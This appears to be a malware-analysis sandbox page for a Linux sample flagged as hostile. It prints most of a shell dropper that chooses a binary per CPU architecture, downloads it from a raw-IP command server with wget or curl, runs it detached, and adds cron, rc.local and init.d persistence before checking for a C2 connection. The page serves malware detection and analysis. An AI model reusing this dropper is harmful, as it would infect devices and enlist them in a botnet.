Hostile 100% linux Download

659742f14304f2ec1cf1ec34833b93002cd360835fff3073d19ea2edf23d6bea

Malware persistence and C2 beacon

Shell fetches a raw-IP payload, arms it, and detaches itWrite action before init.d path
SHA-256659742f14304f2ec1cf1ec34833b93002cd360835fff3073d19ea2edf23d6bea

Evidence

curl/wget text includes output option lines 1–48
1#!/bin/sh
2# ancient telnet persistence payload - PURE ASCII ONLY.
3# old busybox shells choke on multi-byte UTF-8, so no em-dashes, no box chars.
4#
5# served at http://89.163.157.131:8080/persist.sh
6
7HOST=89.163.157.131
8PORT=8080
9
10ARCH=`uname -m 2>/dev/null`
11case "$ARCH" in
12 aarch64|arm64|armv8*|armv9*) BIN=arm8 ;;
13 armv7*|armv7l) BIN=arm7 ;;
14 armv6*|armv6l) BIN=arm6 ;;
15 armv5*|armv5l|armv5tejl) BIN=arm5 ;;
16 armv4*|armv4l) BIN=arm4 ;;
17 mips64el|mips64*) BIN=mips ;;
18 mipsel|mips*el*) BIN=mpsl ;;
19 mips) BIN=mips ;;
20 x86_64|amd64) BIN=x86_64 ;;
21 i386|i486|i586|i686|x86|ia32) BIN=x86 ;;
22 m68k) BIN=m68k ;;
23 ppc64|ppc|powerpc*) BIN=ppc ;;
24 sh4|sh) BIN=sh4 ;;
25 *) BIN=x86_64 ;;
26esac
27
28URL="http://$HOST:$PORT/$BIN"
29
30# try each writable dir until one holds a real binary
31for DIR in /data /etc /mnt/mtd /cache /var/tmp /tmp /dev/shm /root /; do
32 [ -w "$DIR" ] || continue
33 cd "$DIR" 2>/dev/null || continue
34 OUT="$DIR/.ancient"
35 rm -f "$OUT" 2>/dev/null
36
37 wget "$URL" -O "$OUT" 2>/dev/null
38 [ -s "$OUT" ] || busybox wget "$URL" -O "$OUT" 2>/dev/null
39 [ -s "$OUT" ] || curl "$URL" -o "$OUT" 2>/dev/null
40 [ -s "$OUT" ] || busybox curl "$URL" -o "$OUT" 2>/dev/null
41 [ -s "$OUT" ] || toybox wget "$URL" -O "$OUT" 2>/dev/null
42
43 SZ=`wc -c < "$OUT" 2>/dev/null`
44 [ -z "$SZ" ] && SZ=0
45
46 if [ "$SZ" -gt 100000 ]; then
47 chmod 777 "$OUT" 2>/dev/null
48
Write action before init.d path lines 62–82
62:53…
63 if command -v setsid >/dev/null 2>&1; then
64 setsid "$OUT" >/dev/null 2>&1 &
65 elif command -v nohup >/dev/null 2>&1; then
66 nohup "$OUT" >/dev/null 2>&1 &
67 else
68 "$OUT" >/dev/null 2>&1 &
69 fi
70
71 # reboot persistence
72 (crontab -l 2>/dev/null; echo "*/5 * * * * $OUT") | crontab - 2>/dev/null
73 echo "$OUT" >> /etc/rc.local 2>/dev/null
74 printf '#!/bin/sh\n%s\n' "$OUT" > /etc/init.d/.ancient 2>/dev/null
75 chmod 755 /etc/init.d/.ancient 2>/dev/null
76
77 # VERIFY: did the bot actually connect to the C2?
78 # 35342 = 0x8A0E, /proc/net/tcp shows ports little-endian as :0E8A
79 sleep 5
80 if cat /proc/net/tcp /proc/net/tcp6 2>/dev/null | grep -q ":0E8A"; then
81 echo "ANCIENT_STARTED $BIN $SZ connected"
82 el …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.